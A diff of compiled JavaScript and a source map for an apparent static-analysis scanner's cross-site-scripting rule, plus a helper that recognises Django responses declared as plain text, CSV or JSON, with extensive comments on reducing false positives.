+ built.dynamicParts.every((part) => readsAsEscaperCall(part, language))) {
354
+ return null;
355
+ }
356
+ /*
357
+ * A VALIDATION GUARD. `ctype_alnum($name)` proves the value carries no
358
+ * angle bracket or quote, so inside that branch it cannot inject markup.
359
+ * A guard establishes its fact in the CONTROL FLOW rather than by
360
+ * transforming the value, which is why the escaper proof above cannot see
361
+ * it. See lib/guards.ts - the predicate list is deliberately tiny, because
362
+ * a guard rule that fires too often costs silence rather than precision.
363
+ */
364
+ if (partsAreGuarded(assignment.value, built.dynamicParts, language, 'xss'))
365
+ return null;
366
+ /*
367
+ * `echo $x` IS NOT `innerHTML = x`, AND THEY HAD THE SAME SEVERITY.
368
+ *
369
+ * WordPress produced 1,940 findings on this branch. 868 of them were a
370
+ * bare variable - `echo $post_link;` - with no markup visible, no source
371
+ * visible, and nothing to prove in either direction. Those are not false
372
+ * positives. They are honest. They are also useless at that volume: 868
373
+ * repetitions of "I cannot prove this is safe" carries the same
374
+ * information as "WordPress echoes a lot of variables", and it buried the
375
+ * 64 findings that DID have a traced path underneath it.
376
+ *
377
+ * The asymmetry that makes this fixable: `element.innerHTML = x` names
378
+ * HTML in the sink itself - the browser will parse it, guaranteed. `echo`
379
+ * is print. It is only HTML because something downstream happens to be a
380
+ * browser, and when the expression contains no markup either, there are
381
+ * two guesses stacked on each other rather than one fact.
382
+ *
383
+ * The CALL branch already refuses to fire without visible markup, for
384
+ * exactly this reason ("otherwise every logger lights up"). This is that
385
+ * same gate, applied as a RANK rather than a silence, because a variable
386
+ * holding HTML assembled elsewhere is a real WordPress bug shape and
387
+ * dropping it would be deciding for the reader.
388
+ */
389
+ const printSink = language === 'php';
390
+ const noMarkupVisible = printSink && !looksLikeHtml(built.literalText);
391
+ return {
392
+ node: assignment.node,
393
+ ...(noMarkupVisible ? { severity: 'low' } : {}),
394
+ message: noMarkupVisible
395
+ ? `Unescaped value written by \`${assignment.targetName}\` (no source traced)`
396
+ : `Value assigned to \`${assignment.targetName}\` is parsed as HTML`,
397
+ reasoning: noMarkupVisible
398
+ ? `\`${assignment.targetName}\` writes this value out without escaping it, and if the ` +
399
+ `page is HTML the browser reads whatever it contains as markup. That is the whole ` +
400
+ `of what we know. There is NO literal HTML at this line and NO attacker-controlled ` +
401
+ `source was traced into it, so this is not evidence of a bug - it is the absence of ` +
402
+ `a proof of safety, ranked low to say so. ${describeSafety(safety, built.dynamicParts, language)}` +
403
+ `If the value is text, wrap it in esc_html(). If it is meant to be markup, wp_kses() ` +
404
+ `states which tags you intended. A finding on this line with a traced path would be ` +
405
+ `reported separately and would rank far above it.`
406
+ : `Assigning to \`${assignment.targetName}\` makes the browser parse the value as ` +
407
+ `HTML, so any tags or event handlers inside it run. The value here is not a ` +
408
+ `fixed string - it was built via ${built.mechanism}. ` +
409
+ describeSafety(safety, built.dynamicParts, language) +
410
+ `\`textContent\` would render the same value harmlessly as text.`,
411
+ };
412
+ }
413
+ /* ---- Call that writes HTML or disables escaping ---- */
414
+ const call = asCall(shape);
415
+ if (call) {
416
+ if (!HTML_SINK_CALLS[language].includes(call.calleeName))
417
+ return null;
418
+ /*
419
+ * THE SIGNATURE RULES KEEP THEIR OWN SINK LISTS, and the scoping sweep
420
+ * that fixed the taint dictionary did not touch them.
421
+ *
422
+ * A fixture written to prove `fmt.Fprintf(buf, ...)` had stopped being
423
+ * cross-site scripting still reported `digest.Write([]byte(...))` on a
424
+ * SHA-256 hash - because this list, not the dictionary, matched it. Same
425
+ * defect, second surface, found only because the fixture was checked
426
+ * rather than assumed.
427
+ *
428
+ * Go's writer names get the receiver test the dictionary already applies.
429
+ * `w`, `rw` and anything response-shaped writes a page; a buffer, a file
430
+ * and a hash do not.
431
+ */
432
+ if (language === 'go' && GO_WRITER_NAMES.has(call.calleeName)) {
433
+ const destination = call.calleeName.startsWith('Fprint') ? (call.args[0]?.text ?? '') : call.receiverText;
434
+ if (!GO_PAGE_WRITER.test(destination))
435
+ return null;
436
+ }
437
+ // A Django response that declares itself text, CSV or JSON is not a
438
+ // page - the same test the data-flow sink applies (taint/content-type.ts).
439
+ if (language === 'python' && call.calleeName === 'HttpResponse' && DECLARED_NOT_HTML.test(call.node.text ?? '')) {
440
+ return null;
441
+ }
442
+ const isEscapeHatch = ESCAPE_HATCHES.has(call.calleeName);
443
+ for (const rawArg of call.args) {
444
+ // `render_template_string("{{ config }}", config=42)` - a keyword
445
+ // argument wraps its value, and `analyzeStringExpression` cannot see a
446
+ // string type on the wrapper, so it reported "opaque" and the escape
447
+ // hatch fired on the number 42. Unwrap to the value being passed.
448
+ const arg = rawArg.type === 'keyword_argument' || rawArg.type === 'argument'
449
+ ? (rawArg.childForFieldName('value') ??
450
+ rawArg.namedChildren.filter((c) => c !== null).pop() ??
451
+ rawArg)
452
+ : rawArg;
453
+ const built = analyzeStringExpression(arg, language);
454
+ // `Markup("<html>")` with a fixed string is safe - there is nothing for
455
+ // an attacker to put inside a constant. Measured against Flask's own
456
+ // source, requiring a dynamic argument removed most of the noise from
457
+ // this branch without losing a single real escape-hatch misuse.
458
+ if (isEscapeHatch && !built.isDynamic)
459
+ continue;
460
+ // A constant is a constant whatever its type. Numbers, booleans and
461
+ // None have no room inside them for an attacker to write markup, and
462
+ // an escape hatch handed one is not a promise about anything.
463
+ if (isEscapeHatch && CONSTANT_NODES.has(arg.type))
464
+ continue;
465
+ /*
466
+ * AN ESCAPE HATCH WHOSE EVERY VALUE IS ESCAPED IS THE CORRECT CODE.
467
+ *
468
+ * Nine of gitea's seventeen Go XSS findings were `template.HTML(...)`
469
+ * wrapped around a string in which every single interpolation had
470
+ * already been through `html.EscapeString`. That is not a misuse of the
471
+ * hatch - in Go it is the ONLY way to return assembled markup from a
472
+ * template helper, and escaping each part first is exactly what you are
473
+ * supposed to do.
474
+ *
475
+ * Reporting it is the worst kind of false positive, because the thing
476
+ * being reported IS the fix: a developer who acts on the finding deletes
477
+ * the escaping. This project has hit that shape three times now
478
+ * (unserialize allowed_classes, yaml SafeLoader, SQL placeholders), and
479
+ * it is the failure mode worth spending code to avoid.
480
+ *
481
+ * TEXTUAL, AND SAYING SO. The JS/TS path proves this properly through
482
+ * lib/html-safety.ts, which resolves identifiers and judges function
483
+ * bodies. This asks a smaller question - does every spliced-in part
484
+ * READ as a call to a known escaper - and it is weaker for it: an
485
+ * escaper reached through a variable (`safe := html.EscapeString(x)`
486
+ * then `template.HTML("<b>" + safe)`) is not recognised and still
487
+ * reports. Under-claiming, which is the right direction to be wrong in.
488
+ */
489
+ const isEscaped = (part) => readsAsEscaperCall(part, language);
490
+ const everyPartEscaped = built.dynamicParts.length > 0 && built.dynamicParts.every(isEscaped);
491
+ if (everyPartEscaped)
492
+ continue;
493
+ if (isEscapeHatch) {
494
+ return {
495
+ node: call.node,
496
+ message: `\`${call.calleeText}()\` marks a value as trusted HTML, disabling escaping`,
497
+ reasoning: `\`${call.calleeText}()\` exists to tell the template engine "do not escape ` +
498
+ `this - it is safe HTML". That promise is only true if the value contains no ` +
499
+ `attacker-controlled text. Here the value is ` +
500
+ `${built.isDynamic ? `built at runtime via ${built.mechanism}` : 'a runtime value'}, ` +
501
+ `so the promise is being made about text nobody has checked.`,
502
+ };
503
+ }
504
+ // For generic writers, require the text to actually look like markup -
505
+ // otherwise every logger and every fmt.Fprintf in the repo lights up.
506
+ if (!built.isDynamic)
507
+ continue;
508
+ if (!looksLikeHtml(built.literalText))
509
+ continue;
510
+ const safety = judgeSafety(arg, ctx, language);
511
+ if (safety?.proven)
512
+ continue;
513
+ return {
514
+ node: arg,
515
+ message: `HTML written by ${call.calleeText}() is built with ${built.mechanism}`,
516
+ reasoning: `\`${call.calleeText}()\` writes its argument into the response or the document. ` +
517
+ `The argument contains literal HTML ("${built.literalText.replace(/\s+/g, ' ').trim().slice(0, 60)}") ` +
518
+ `and was assembled via ${built.mechanism}. ` +
519
+ describeSafety(safety, built.dynamicParts, language) +
520
+ `Markup inside an unescaped value reaches the browser as instructions.`,
521
+ };
522
+ }
523
+ }
524
+ return null;
525
+ },
526
+ };
527
+ //# sourceMappingURL=xss.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"xss.js","sourceRoot":"","sources":["../../../src/rules/xss.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAkCG;AAIH,OAAO,EAAE,YAAY,EAAE,MAAM,EAA2B,MAAM,eAAe,CAAC;AAC9E,OAAO,EAAE,uBAAuB,EAAE,aAAa,EAAE,MAAM,kBAAkB,CAAC;AAC1E,OAAO,EAAE,eAAe,EAAE,MAAM,iBAAiB,CAAC;AAClD,OAAO,EAAE,iBAAiB,EAAE,kBAAkB,EAAmB,MAAM,sBAAsB,CAAC;AAC9F,OAAO,EAAE,iBAAiB,EAAE,MAAM,0BAA0B,CAAC;AAE7D,8DAA8D;AAC9D,MAAM,oBAAoB,GAA0C;IAClE,gFAAgF;IAChF,yCAAyC;IACzC,UAAU,EAAE,CAAC,WAAW,EAAE,WAAW,EAAE,yBAAyB,EAAE,QAAQ,EAAE,QAAQ,CAAC;IACrF,UAAU,EAAE,CAAC,WAAW,EAAE,WAAW,EAAE,yBAAyB,EAAE,QAAQ,EAAE,QAAQ,CAAC;IACrF,MAAM,EAAE,EAAE;IACV,IAAI,EAAE,EAAE;IACR,EAAE,EAAE,EAAE;IACN,6DAA6D;IAC7D,CAAC,EAAE,EAAE;IACL,GAAG,EAAE,EAAE;IACP,yEAAyE;IACzE,wEAAwE;IACxE,wEAAwE;IACxE,oEAAoE;IACpE,GAAG,EAAE,CAAC,MAAM,EAAE,OAAO,CAAC;CACvB,CAAC;AAEF;;;;GAIG;AACH,MAAM,cAAc,GAAG;IACrB,yBAAyB,EAAE,2BAA2B,EAAE,wBAAwB,EAAE,gCAAgC,EAAE,0BAA0B;CACtI,CAAC;AAEX,kFAAkF;AAClF,MAAM,eAAe,GAA0C;IAC7D,UAAU,EAAE,CAAC,OAAO,EAAE,SAAS,EAAE,oBAAoB,EAAE,MAAM,EAAE,QAAQ,EAAE,SAAS,EAAE,OAAO,EAAE,QAAQ,EAAE,GAAG,cAAc,CAAC;IACzH,UAAU,EAAE,CAAC,OAAO,EAAE,SAAS,EAAE,oBAAoB,EAAE,MAAM,EAAE,QAAQ,EAAE,SAAS,EAAE,OAAO,EAAE,QAAQ,EAAE,GAAG,cAAc,CAAC;IACzH,MAAM,EAAE,CAAC,WAAW,EAAE,QAAQ,EAAE,cAAc,EAAE,wBAAwB,EAAE,aAAa,CAAC;IACxF,IAAI,EAAE,CAAC,OAAO,EAAE,SAAS,EAAE,OAAO,EAAE,QAAQ,EAAE,QAAQ,EAAE,QAAQ,CAAC;IACjE,EAAE,EAAE,CAAC,MAAM,EAAE,UAAU,EAAE,IAAI,EAAE,OAAO,EAAE,SAAS,EAAE,QAAQ,EAAE,UAAU,CAAC;IACxE,GAAG,EAAE,CAAC,QAAQ,EAAE,SAAS,EAAE,SAAS,EAAE,UAAU,CAAC;IACjD;;;;;;;;;;;;;;OAcG;IACH,CAAC,EAAE,EAAE;IACL,GAAG,EAAE,EAAE;CACR,CAAC;AAEF;;;;GAIG;AACH;;;;;;;;GAQG;AACH,MAAM,cAAc,GAAG,IAAI,GAAG,CAAC;IAC7B,SAAS;IACT,OAAO;IACP,QAAQ;IACR,MAAM;IACN,OAAO;IACP,MAAM;IACN,MAAM;IACN,WAAW;IACX,SAAS;IACT,yBAAyB;IACzB,gCAAgC;CACjC,CAAC,CAAC;AAEH,MAAM,cAAc,GAAG,IAAI,GAAG,CAAS;IACrC,WAAW;IACX,QAAQ;IACR,wBAAwB;IACxB,oBAAoB;IACpB,GAAG,cAAc;CAClB,CAAC,CAAC;AAEH;;;;GAIG;AACH,SAAS,WAAW,CAClB,KAAW,EACX,GAA+C,EAC/C,QAAoB;IAEpB,IAAI,CAAC,kBAAkB,CAAC,QAAQ,CAAC;QAAE,OAAO,IAAI,CAAC;IAC/C,OAAO,iBAAiB,CAAC,KAAK,EAAE,GAAG,CAAC,IAAI,CAAC,IAAI,EAAE,QAAQ,CAAC,CAAC;AAC3D,CAAC;AAED;;;;;;GAMG;AACH,SAAS,cAAc,CACrB,MAAyB,EACzB,YAA+B,EAC/B,QAAoB;IAEpB,IAAI,CAAC,MAAM,EAAE,CAAC;QACZ;;;;;WAKG;QACH,MAAM,KAAK,GAAG,CAAC,KAAwB,EAAU,EAAE,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACxG,MAAM,IAAI,GAAG,YAAY,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,kBAAkB,CAAC,CAAC,EAAE,QAAQ,CAAC,CAAC,CAAC;QAC1E,MAAM,OAAO,GAAG,YAAY,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,kBAAkB,CAAC,CAAC,EAAE,QAAQ,CAAC,CAAC,CAAC;QAC5E,IAAI,IAAI,CAAC,MAAM,KAAK,CAAC;YAAE,OAAO,yDAAyD,CAAC;QACxF,OAAO;QACL,uEAAuE;QACvE,2EAA2E;QAC3E,iBAAiB,KAAK,CAAC,IAAI,CAAC,wCAAwC;YACpE,GAAG,IAAI,CAAC,MAAM,KAAK,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,MAAM,iBAAiB;YACrD,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,IAAI,KAAK,CAAC,OAAO,CAAC,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,IAAI,2BAA2B,CAAC,CAAC,CAAC,EAAE,CAAC,CAC9G,CAAC;IACJ,CAAC;IAED,MAAM,KAAK,GAAG,MAAM,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IAC5E,MAAM,OAAO,GAAG,MAAM,CAAC,QAAQ,CAAC,MAAM;QACpC,CAAC,CAAC,kBAAkB,MAAM,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,qBAAqB;YACxF,wEAAwE;QAC1E,CAAC,CAAC,EAAE,CAAC;IAEP,IAAI,MAAM,CAAC,QAAQ,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACjC,OAAO,GAAG,OAAO,2DAA2D,CAAC;IAC/E,CAAC;IAED,OAAO,CACL,GAAG,OAAO,iCAAiC,KAAK,EAAE;QAClD,GAAG,MAAM,CAAC,QAAQ,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,SAAS,MAAM,CAAC,QAAQ,CAAC,MAAM,GAAG,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,IAAI;QACpF,4DAA4D,CAC7D,CAAC;AACJ,CAAC;AAED;;;;;;;GAOG;AACH;;;;;;;;;;;;;;;;;;;;;;;;;GAyBG;AACH,MAAM,aAAa,GACjB,qEAAqE,CAAC;AACxE,MAAM,cAAc,GAAG,yEAAyE,CAAC;AAEjG,MAAM,UAAU,sBAAsB,CAAC,IAAY;IACjD,MAAM,KAAK,GAAG,aAAa,CAAC,IAAI,CAAC,gBAAgB,CAAC,IAAI,CAAC,CAAC,CAAC;IACzD,IAAI,CAAC,KAAK,EAAE,CAAC,CAAC,CAAC;QAAE,OAAO,KAAK,CAAC;IAC9B,OAAO,cAAc,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC;AACvC,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AACH,SAAS,gBAAgB,CAAC,IAAY;IACpC,OAAO,IAAI,CAAC,OAAO,CAAC,WAAW,EAAE,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,GAAG,CAAC,CAAC;AACnE,CAAC;AAED,uEAAuE;AACvE,SAAS,kBAAkB,CAAC,IAAY,EAAE,QAAoB;IAC5D,MAAM,KAAK,GAAG,aAAa,CAAC,QAAQ,CAAC,CAAC;IACtC,OAAO,CAAC,CAAC,CAAC,KAAK,IAAI,KAAK,CAAC,IAAI,CAAC,gBAAgB,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,sBAAsB,CAAC,IAAI,CAAC,CAAC;AACzF,CAAC;AAED,MAAM,aAAa,GAAwC;IACzD,EAAE,EAAE,+IAA+I;IACnJ,MAAM,EAAE,gEAAgE;IACxE,IAAI,EAAE,oFAAoF;IAC1F,8EAA8E;IAC9E,uEAAuE;IACvE,GAAG,EAAE,4cAA4c;CACld,CAAC;AAEF,6EAA6E;AAC7E,MAAM,eAAe,GAAwB,IAAI,GAAG,CAAC;IACnD,OAAO,EAAE,aAAa,EAAE,SAAS,EAAE,QAAQ,EAAE,UAAU;CACxD,CAAC,CAAC;AACH,MAAM,cAAc,GAAG,iDAAiD,CAAC;AAEzE,MAAM,CAAC,MAAM,OAAO,GAAS;IAC3B,EAAE,EAAE,KAAK;IACT,IAAI,EAAE,mCAAmC;IACzC,GAAG,EAAE,QAAQ;IACb,KAAK,EAAE,oBAAoB;IAC3B,QAAQ,EAAE,MAAM;IAChB,OAAO,EAAE,uHAAuH;IAChI,GAAG,EACD,iHAAiH;IACnH,WAAW,EACT,6EAA6E;QAC7E,iFAAiF;QACjF,6EAA6E;QAC7E,8EAA8E;QAC9E,iCAAiC;IACnC,WAAW,EACT,kFAAkF;QAClF,gFAAgF;QAChF,kFAAkF;QAClF,gFAAgF;QAChF,gFAAgF;QAChF,iFAAiF;QACjF,mFAAmF;QACnF,gFAAgF;QAChF,iFAAiF;QACjF,iFAAiF;QACjF,4EAA4E;QAC5E,gFAAgF;QAChF,iBAAiB;IACnB,MAAM,EAAE,CAAC,MAAM,EAAE,YAAY,CAAC;IAC9B,OAAO,EAAE;QACP,UAAU,EAAE;YACV,MAAM,EAAE,aAAa;YACrB,IAAI,EAAE,kLAAkL;SACzL;QACD,UAAU,EAAE;YACV,MAAM,EAAE,aAAa;YACrB,IAAI,EAAE,oEAAoE;SAC3E;QACD,MAAM,EAAE;YACN,MAAM,EAAE,SAAS;YACjB,IAAI,EAAE,8nBAA8nB;SACroB;QACD,IAAI,EAAE;YACJ,MAAM,EAAE,SAAS;YACjB,IAAI,EAAE,gJAAgJ;SACvJ;QACD,EAAE,EAAE;YACF,MAAM,EAAE,SAAS;YACjB,IAAI,EAAE,wOAAwO;SAC/O;QACD,GAAG,EAAE;YACH,MAAM,EAAE,SAAS;YACjB,IAAI,EAAE,gXAAgX;SACvX;QACD,CAAC,EAAE;YACD,MAAM,EAAE,iBAAiB;YACzB,IAAI,EACF,wWAAwW;SAC3W;QACD,GAAG,EAAE;YACH,MAAM,EAAE,iBAAiB;YACzB,IAAI,EACF,uRAAuR;SAC1R;KACF;IACD,KAAK,CAAC,KAAK,EAAE,GAAG;QACd,MAAM,QAAQ,GAAG,GAAG,CAAC,QAAQ,CAAC;QAE9B,wDAAwD;QACxD,MAAM,UAAU,GAAG,YAAY,CAAC,KAAK,CAAC,CAAC;QACvC,IAAI,UAAU,EAAE,CAAC;YACf,IAAI,CAAC,oBAAoB,CAAC,QAAQ,CAAC,CAAC,QAAQ,CAAC,UAAU,CAAC,UAAU,CAAC;gBAAE,OAAO,IAAI,CAAC;YACjF,MAAM,KAAK,GAAG,uBAAuB,CAAC,UAAU,CAAC,KAAK,EAAE,QAAQ,CAAC,CAAC;YAClE,wEAAwE;YACxE,IAAI,CAAC,KAAK,CAAC,SAAS;gBAAE,OAAO,IAAI,CAAC;YAElC;;;8EAGkE;YAClE,MAAM,MAAM,GAAG,WAAW,CAAC,UAAU,CAAC,KAAK,EAAE,GAAG,EAAE,QAAQ,CAAC,CAAC;YAC5D,IAAI,MAAM,EAAE,MAAM;gBAAE,OAAO,IAAI,CAAC;YAChC;;;;;;eAMG;YACH,IACE,KAAK,CAAC,YAAY,CAAC,MAAM,GAAG,CAAC;gBAC7B,KAAK,CAAC,YAAY,CAAC,KAAK,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,kBAAkB,CAAC,IAAI,EAAE,QAAQ,CAAC,CAAC,EACtE,CAAC;gBACD,OAAO,IAAI,CAAC;YACd,CAAC;YAED;;;;;;;eAOG;YACH,IAAI,eAAe,CAAC,UAAU,CAAC,KAAK,EAAE,KAAK,CAAC,YAAY,EAAE,QAAQ,EAAE,KAAK,CAAC;gBAAE,OAAO,IAAI,CAAC;YAExF;;;;;;;;;;;;;;;;;;;;;;eAsBG;YACH,MAAM,SAAS,GAAG,QAAQ,KAAK,KAAK,CAAC;YACrC,MAAM,eAAe,GAAG,SAAS,IAAI,CAAC,aAAa,CAAC,KAAK,CAAC,WAAW,CAAC,CAAC;YAEvE,OAAO;gBACL,IAAI,EAAE,UAAU,CAAC,IAAI;gBACrB,GAAG,CAAC,eAAe,CAAC,CAAC,CAAC,EAAE,QAAQ,EAAE,KAAc,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;gBACxD,OAAO,EAAE,eAAe;oBACtB,CAAC,CAAC,gCAAgC,UAAU,CAAC,UAAU,uBAAuB;oBAC9E,CAAC,CAAC,uBAAuB,UAAU,CAAC,UAAU,sBAAsB;gBACtE,SAAS,EAAE,eAAe;oBACxB,CAAC,CAAC,KAAK,UAAU,CAAC,UAAU,2DAA2D;wBACrF,mFAAmF;wBACnF,oFAAoF;wBACpF,qFAAqF;wBACrF,4CAA4C,cAAc,CAAC,MAAM,EAAE,KAAK,CAAC,YAAY,EAAE,QAAQ,CAAC,EAAE;wBAClG,sFAAsF;wBACtF,qFAAqF;wBACrF,kDAAkD;oBACpD,CAAC,CAAC,kBAAkB,UAAU,CAAC,UAAU,0CAA0C;wBACjF,6EAA6E;wBAC7E,mCAAmC,KAAK,CAAC,SAAS,IAAI;wBACtD,cAAc,CAAC,MAAM,EAAE,KAAK,CAAC,YAAY,EAAE,QAAQ,CAAC;wBACpD,iEAAiE;aACtE,CAAC;QACJ,CAAC;QAED,0DAA0D;QAC1D,MAAM,IAAI,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC;QAC3B,IAAI,IAAI,EAAE,CAAC;YACT,IAAI,CAAC,eAAe,CAAC,QAAQ,CAAC,CAAC,QAAQ,CAAC,IAAI,CAAC,UAAU,CAAC;gBAAE,OAAO,IAAI,CAAC;YAEtE;;;;;;;;;;;;;eAaG;YACH,IAAI,QAAQ,KAAK,IAAI,IAAI,eAAe,CAAC,GAAG,CAAC,IAAI,CAAC,UAAU,CAAC,EAAE,CAAC;gBAC9D,MAAM,WAAW,GACf,IAAI,CAAC,UAAU,CAAC,UAAU,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,YAAY,CAAC;gBACxF,IAAI,CAAC,cAAc,CAAC,IAAI,CAAC,WAAW,CAAC;oBAAE,OAAO,IAAI,CAAC;YACrD,CAAC;YAED,oEAAoE;YACpE,2EAA2E;YAC3E,IAAI,QAAQ,KAAK,QAAQ,IAAI,IAAI,CAAC,UAAU,KAAK,cAAc,IAAI,iBAAiB,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,IAAI,EAAE,CAAC,EAAE,CAAC;gBAChH,OAAO,IAAI,CAAC;YACd,CAAC;YAED,MAAM,aAAa,GAAG,cAAc,CAAC,GAAG,CAAC,IAAI,CAAC,UAAU,CAAC,CAAC;YAE1D,KAAK,MAAM,MAAM,IAAI,IAAI,CAAC,IAAI,EAAE,CAAC;gBAC/B,kEAAkE;gBAClE,uEAAuE;gBACvE,qEAAqE;gBACrE,kEAAkE;gBAClE,MAAM,GAAG,GACP,MAAM,CAAC,IAAI,KAAK,kBAAkB,IAAI,MAAM,CAAC,IAAI,KAAK,UAAU;oBAC9D,CAAC,CAAC,CAAC,MAAM,CAAC,iBAAiB,CAAC,OAAO,CAAC;wBACjC,MAAM,CAAC,aAAa,CAAC,MAAM,CAAC,CAAC,CAAC,EAAa,EAAE,CAAC,CAAC,KAAK,IAAI,CAAC,CAAC,GAAG,EAAE;wBAC/D,MAAM,CAAC;oBACV,CAAC,CAAC,MAAM,CAAC;gBACb,MAAM,KAAK,GAAG,uBAAuB,CAAC,GAAG,EAAE,QAAQ,CAAC,CAAC;gBAErD,wEAAwE;gBACxE,qEAAqE;gBACrE,sEAAsE;gBACtE,gEAAgE;gBAChE,IAAI,aAAa,IAAI,CAAC,KAAK,CAAC,SAAS;oBAAE,SAAS;gBAChD,oEAAoE;gBACpE,qEAAqE;gBACrE,8DAA8D;gBAC9D,IAAI,aAAa,IAAI,cAAc,CAAC,GAAG,CAAC,GAAG,CAAC,IAAI,CAAC;oBAAE,SAAS;gBAE5D;;;;;;;;;;;;;;;;;;;;;;;mBAuBG;gBACH,MAAM,SAAS,GAAG,CAAC,IAAY,EAAW,EAAE,CAAC,kBAAkB,CAAC,IAAI,EAAE,QAAQ,CAAC,CAAC;gBAChF,MAAM,gBAAgB,GACpB,KAAK,CAAC,YAAY,CAAC,MAAM,GAAG,CAAC,IAAI,KAAK,CAAC,YAAY,CAAC,KAAK,CAAC,SAAS,CAAC,CAAC;gBACvE,IAAI,gBAAgB;oBAAE,SAAS;gBAE/B,IAAI,aAAa,EAAE,CAAC;oBAClB,OAAO;wBACL,IAAI,EAAE,IAAI,CAAC,IAAI;wBACf,OAAO,EAAE,KAAK,IAAI,CAAC,UAAU,wDAAwD;wBACrF,SAAS,EACP,KAAK,IAAI,CAAC,UAAU,yDAAyD;4BAC7E,8EAA8E;4BAC9E,8CAA8C;4BAC9C,GAAG,KAAK,CAAC,SAAS,CAAC,CAAC,CAAC,wBAAwB,KAAK,CAAC,SAAS,EAAE,CAAC,CAAC,CAAC,iBAAiB,IAAI;4BACtF,6DAA6D;qBAChE,CAAC;gBACJ,CAAC;gBAED,uEAAuE;gBACvE,sEAAsE;gBACtE,IAAI,CAAC,KAAK,CAAC,SAAS;oBAAE,SAAS;gBAC/B,IAAI,CAAC,aAAa,CAAC,KAAK,CAAC,WAAW,CAAC;oBAAE,SAAS;gBAEhD,MAAM,MAAM,GAAG,WAAW,CAAC,GAAG,EAAE,GAAG,EAAE,QAAQ,CAAC,CAAC;gBAC/C,IAAI,MAAM,EAAE,MAAM;oBAAE,SAAS;gBAE7B,OAAO;oBACL,IAAI,EAAE,GAAG;oBACT,OAAO,EAAE,mBAAmB,IAAI,CAAC,UAAU,oBAAoB,KAAK,CAAC,SAAS,EAAE;oBAChF,SAAS,EACP,KAAK,IAAI,CAAC,UAAU,8DAA8D;wBAClF,wCAAwC,KAAK,CAAC,WAAW,CAAC,OAAO,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC,IAAI,EAAE,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,KAAK;wBACvG,yBAAyB,KAAK,CAAC,SAAS,IAAI;wBAC5C,cAAc,CAAC,MAAM,EAAE,KAAK,CAAC,YAAY,EAAE,QAAQ,CAAC;wBACpD,uEAAuE;iBAC1E,CAAC;YACJ,CAAC;QACH,CAAC;QAED,OAAO,IAAI,CAAC;IACd,CAAC;CACF,CAAC"}
@@ -0,0 +1,19 @@
1
+ /**
2
+ * A RESPONSE THAT SAYS IT IS NOT A PAGE.
3
+ * =====================================
4
+ *
5
+ * `HttpResponse(request.body, content_type="text/plain")` puts request data in
6
+ * the response - and a browser shows text/plain, CSV and JSON as text. It parses
7
+ * no markup and runs no script (Django also sends X-Content-Type-Options:
8
+ * nosniff by default, so the type is not second-guessed). Scanning Django
9
+ * reported exactly this as a flow-verified XSS.
10
+ *
11
+ * Shared by the data-flow sink (taint/dictionaries.ts) and the signature rule
12
+ * (rules/xss.ts), so the two cannot disagree about what a page is.
13
+ *
14
+ * Only a literal `content_type=` keyword in the call is read. A positional
15
+ * content type, or one held in a variable, still reports. SVG and XML are not
16
+ * on the list: both can carry script (tests/fixtures/vulnerable/
17
+ * django-responses.py).
18
+ */
19
+ export declare const DECLARED_NOT_HTML: RegExp;
@@ -0,0 +1,20 @@
1
+ /**
2
+ * A RESPONSE THAT SAYS IT IS NOT A PAGE.
3
+ * =====================================
4
+ *
5
+ * `HttpResponse(request.body, content_type="text/plain")` puts request data in
6
+ * the response - and a browser shows text/plain, CSV and JSON as text. It parses
7
+ * no markup and runs no script (Django also sends X-Content-Type-Options:
8
+ * nosniff by default, so the type is not second-guessed). Scanning Django
9
+ * reported exactly this as a flow-verified XSS.
10
+ *
11
+ * Shared by the data-flow sink (taint/dictionaries.ts) and the signature rule
12
+ * (rules/xss.ts), so the two cannot disagree about what a page is.
13
+ *
14
+ * Only a literal `content_type=` keyword in the call is read. A positional
15
+ * content type, or one held in a variable, still reports. SVG and XML are not
16
+ * on the list: both can carry script (tests/fixtures/vulnerable/
17
+ * django-responses.py).
18
+ */
19
+ export const DECLARED_NOT_HTML = /\bcontent_type\s*=\s*(["'])\s*(?:text\/plain|text\/csv|application\/json)\s*(?:;[^"']*)?\1/;
20
+ //# sourceMappingURL=content-type.js.map
@@ -0,0 +1 @@
1
